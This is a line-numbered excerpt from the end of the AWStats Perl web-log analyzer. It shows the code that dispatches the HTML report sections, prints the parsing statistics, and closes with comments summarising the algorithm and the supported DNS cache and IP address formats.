foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) {
20429
if ( $HTMLOutput{"errors$code"} ) {
20430
&HTMLShowErrorCodes($code);
20434
# BY EXTRA SECTIONS
20435
#----------------------------
20436
HTMLShowExtraSections();
20438
if ( $HTMLOutput{'info'} ) {
20439
# TODO Not yet available
20440
print "$Center<a name=\"info\"> </a><br />";
20444
# Print any plugins that have individual pages
20445
# TODO - change name, graph isn't so descriptive
20446
my $htmloutput = '';
20447
foreach my $key ( keys %HTMLOutput ) { $htmloutput = $key; }
20448
if ( $htmloutput =~ /^plugin_(\w+)$/ ) {
20449
my $pluginname = $1;
20450
print "$Center<a name=\"plugin_$pluginname\"> </a><br />";
20451
my $function = "AddHTMLGraph_$pluginname";
20459
if ( $HTMLOutput{'main'} ) {
20461
# Calculate averages
20466
my $average_nb = 0;
20467
foreach my $daycursor ($firstdaytocountaverage .. $lastdaytocountaverage )
20469
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
20473
if ( !DateIsValid( $day, $month, $year ) ) {
20475
} # If not an existing day, go to next
20476
$average_nb++; # Increase number of day used to count
20477
$AverageVisits += ( $DayVisits{$daycursor} || 0 );
20478
$AveragePages += ( $DayPages{$daycursor} || 0 );
20479
$AverageHits += ( $DayHits{$daycursor} || 0 );
20480
$AverageBytes += ( $DayBytes{$daycursor} || 0 );
20483
$AverageVisits = $AverageVisits / $average_nb;
20484
$AveragePages = $AveragePages / $average_nb;
20485
$AverageHits = $AverageHits / $average_nb;
20486
$AverageBytes = $AverageBytes / $average_nb;
20487
if ( $AverageVisits > $max_v ) { $max_v = $AverageVisits; }
20488
#if ($average_p > $max_p) { $max_p=$average_p; }
20489
if ( $AverageHits > $max_h ) { $max_h = $AverageHits; }
20490
if ( $AverageBytes > $max_k ) { $max_k = $AverageBytes; }
20493
$AverageVisits = "?";
20494
$AveragePages = "?";
20495
$AverageHits = "?";
20496
$AverageBytes = "?";
20500
#---------------------------------------------------------------------
20501
if ($ShowSummary) {
20502
&HTMLMainSummary();
20506
#---------------------------------------------------------------------
20507
if ($ShowMonthStats) {
20508
&HTMLMainMonthly();
20511
print "\n<a name=\"when\"> </a>\n\n";
20514
#---------------------------------------------------------------------
20515
if ($ShowDaysOfMonthStats) {
20516
&HTMLMainDaily($firstdaytocountaverage, $lastdaytocountaverage,
20517
$firstdaytoshowtime, $lastdaytoshowtime);
20521
#-------------------------
20522
if ($ShowDaysOfWeekStats) {
20523
&HTMLMainDaysofWeek($firstdaytocountaverage, $lastdaytocountaverage);
20527
#----------------------------
20528
if ($ShowHoursStats) {
20532
print "\n<a name=\"who\"> </a>\n\n";
20534
# BY COUNTRY/DOMAIN
20535
#---------------------------
20536
if ($ShowDomainsStats) {
20537
&HTMLMainCountries($NewLinkParams, $NewLinkTarget);
20541
#--------------------------
20542
if ($ShowHostsStats) {
20543
&HTMLMainHosts($NewLinkParams, $NewLinkTarget);
20547
#----------------------------
20548
if ($ShowEMailSenders) {
20549
&HTMLShowEmailSendersChart( $NewLinkParams, $NewLinkTarget );
20552
# BY RECEIVER EMAIL
20553
#----------------------------
20554
if ($ShowEMailReceivers) {
20555
&HTMLShowEmailReceiversChart( $NewLinkParams, $NewLinkTarget );
20559
#----------------------------
20560
if ($ShowAuthenticatedUsers) {
20561
&HTMLMainLogins($NewLinkParams, $NewLinkTarget);
20565
#----------------------------
20566
if ($ShowRobotsStats) {
20567
&HTMLMainRobots($NewLinkParams, $NewLinkTarget);
20571
#----------------------------
20572
if ($ShowWormsStats) {
20576
print "\n<a name=\"how\"> </a>\n\n";
20579
#----------------------------
20580
if ($ShowSessionsStats) {
20581
&HTMLMainSessions();
20585
#-------------------------
20586
if ($ShowFileTypesStats) {
20587
&HTMLMainFileType();
20591
#-------------------------
20592
if ($ShowFileSizesStats) {
20597
#-------------------------
20598
if ($ShowDownloadsStats) {
20599
&HTMLMainDownloads($NewLinkParams, $NewLinkTarget);
20603
#-------------------------
20604
if ($ShowPagesStats) {
20605
&HTMLMainPages($NewLinkParams, $NewLinkTarget);
20609
#----------------------------
20610
if ($ShowOSStats) {
20611
&HTMLMainOS($NewLinkParams, $NewLinkTarget);
20615
#----------------------------
20616
if ($ShowBrowsersStats) {
20617
&HTMLMainBrowsers($NewLinkParams, $NewLinkTarget);
20621
#----------------------------
20622
if ($ShowScreenSizeStats) {
20623
&HTMLMainScreenSize();
20626
print "\n<a name=\"refering\"> </a>\n\n";
20629
#---------------------------
20630
if ($ShowOriginStats) {
20631
&HTMLMainReferrers($NewLinkParams, $NewLinkTarget);
20634
print "\n<a name=\"keys\"> </a>\n\n";
20636
# BY SEARCH KEYWORDS AND/OR KEYPHRASES
20637
#-------------------------------------
20638
if ($ShowKeyphrasesStats || $ShowKeywordsStats){
20639
&HTMLMainKeys($NewLinkParams, $NewLinkTarget);
20642
print "\n<a name=\"other\"> </a>\n\n";
20645
#----------------------------
20646
if ($ShowMiscStats) {
20651
#----------------------------
20652
if ($ShowHTTPErrorsStats) {
20653
&HTMLMainHTTPStatus($NewLinkParams, $NewLinkTarget);
20657
#----------------------------
20658
if ($ShowSMTPErrorsStats) {
20659
&HTMLMainSMTPStatus($NewLinkParams, $NewLinkTarget);
20663
#----------------------------
20664
if ($ShowClusterStats) {
20665
&HTMLMainCluster($NewLinkParams, $NewLinkTarget);
20668
# BY EXTRA SECTIONS
20669
#----------------------------
20670
foreach my $extranum ( 1 .. @ExtraName - 1 ) {
20671
&HTMLMainExtra($NewLinkParams, $NewLinkTarget, $extranum);
20674
# close the HTML page
20679
print "Jumped lines in file: $lastlinenb\n";
20680
if ($lastlinenb) { print " Found $lastlinenb already parsed records.\n"; }
20681
print "Parsed lines in file: $NbOfLinesParsed\n";
20682
print " Found $NbOfLinesDropped dropped records,\n";
20683
print " Found $NbOfLinesComment comments,\n";
20684
print " Found $NbOfLinesBlank blank records,\n";
20685
print " Found $NbOfLinesCorrupted corrupted records,\n";
20686
print " Found $NbOfOldLines old records,\n";
20687
print " Found $NbOfNewLines new qualified records.\n";
20693
0; # Do not remove this line
20695
#-------------------------------------------------------
20696
# ALGORITHM SUMMARY
20699
# Check_Config() and Init variables
20700
# if 'frame not index'
20701
# &Read_Language_Data($Lang);
20702
# if 'frame not mainleft'
20703
# &Read_Ref_Data();
20708
# We create/update tmp file with
20709
# &Read_History_With_TmpUpdate(year,month,day,hour,UPDATE,NOPURGE,"all");
20710
# Rename the tmp file
20715
# Get last history file name
20716
# Get value for $LastLine $LastLineNumber $LastLineOffset $LastLineChecksum with
20717
# &Read_History_With_TmpUpdate(lastyearbeforeupdate,lastmonthbeforeupdate,lastdaybeforeupdate,lasthourbeforeupdate,NOUPDATE,NOPURGE,"general");
20719
# &Init_HashArray()
20722
# Loop on each new line in log file
20723
# lastlineoffset=lastlineoffsetnext; lastlineoffsetnext=file pointer position
20724
# If line corrupted, skip --> next on loop
20725
# Drop wrong virtual host --> next on loop
20726
# Drop wrong method/protocol --> next on loop
20727
# Check date --> next on loop
20728
# If line older than $LastLine, skip --> next on loop
20730
# $LastLine = time or record
20731
# Skip if url is /robots.txt --> next on loop
20732
# Skip line for @SkipHosts --> next on loop
20733
# Skip line for @SkipFiles --> next on loop
20734
# Skip line for @SkipUserAgent --> next on loop
20735
# Skip line for not @OnlyHosts --> next on loop
20736
# Skip line for not @OnlyUsers --> next on loop
20737
# Skip line for not @OnlyFiles --> next on loop
20738
# Skip line for not @OnlyUserAgent --> next on loop
20739
# So it's new line approved
20740
# If other month/year, create/update tmp file and purge data arrays with
20741
# &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_));
20742
# Define a clean Url and Query (set urlwithnoquery, tokenquery and standalonequery and $field[$pos_url])
20743
# Define PageBool and extension
20744
# Analyze: Misc tracker --> complete %misc
20745
# Analyze: Hit on favorite icon --> complete %_misc, countedtraffic=1 (not counted anywhere)
20746
# If (!countedtraffic) Analyze: Worms --> complete %_worms, countedtraffic=2
20747
# If (!countedtraffic) Analyze: Status code --> complete %_error_, %_sider404, %_referrer404 --> countedtraffic=3
20748
# If (!countedtraffic) Analyze: Robots known --> complete %_robot, countedtraffic=4
20749
# If (!countedtraffic) Analyze: Robots unknown on robots.txt --> complete %_robot, countedtraffic=5
20750
# If (!countedtraffic) Analyze: File types - Compression
20751
# If (!countedtraffic) Analyze: Date - Hour - Pages - Hits - Kilo
20752
# If (!countedtraffic) Analyze: Login
20753
# If (!countedtraffic) Do DNS Lookup
20754
# If (!countedtraffic) Analyze: Country
20755
# If (!countedtraffic) Analyze: Host - Url - Session
20756
# If (!countedtraffic) Analyze: Browser - OS
20757
# If (!countedtraffic) Analyze: Referer
20758
# If (!countedtraffic) Analyze: EMail
20760
# Analyze: Extra (must be after 'Define a clean Url and Query')
20761
# If too many records, we flush data arrays with
20762
# &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_));
20765
# Create/update tmp file
20766
# Seek to lastlineoffset in logfile to read and get last line into $_
20767
# &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_))
20768
# Rename all created tmp files
20771
# &Init_HashArray()
20774
# Loop for each month of required year
20775
# &Read_History_With_TmpUpdate($YearRequired,$monthloop,'','',NOUPDATE,NOPURGE,'all' or 'general time' if not required month)
20777
# Show data arrays in HTML page
20780
#-------------------------------------------------------
20782
#-------------------------------------------------------
20783
# DNS CACHE FILE FORMATS SUPPORTED BY AWSTATS
20784
# Format /etc/hosts x.y.z.w hostname
20785
# Format analog UT/60 x.y.z.w hostname
20786
#-------------------------------------------------------
20788
#-------------------------------------------------------
20789
# IP Format (d=decimal on 16 bits, x=hexadecimal on 16 bits)
20791
# 13.1.68.3 IPv4 (d.d.d.d)
20792
# 0:0:0:0:0:0:13.1.68.3 IPv6 (x:x:x:x:x:x:d.d.d.d)
20794
# 0:0:0:0:0:FFFF:13.1.68.3 IPv6 (x:x:x:x:x:x:d.d.d.d)
20795
# ::FFFF:13.1.68.3 IPv6
20797
# 1070:0:0:0:0:800:200C:417B IPv6
20798
# 1070:0:0:0:0:800:200C:417B IPv6
20799
# 1070::800:200C:417B IPv6
20800
#-------------------------------------------------------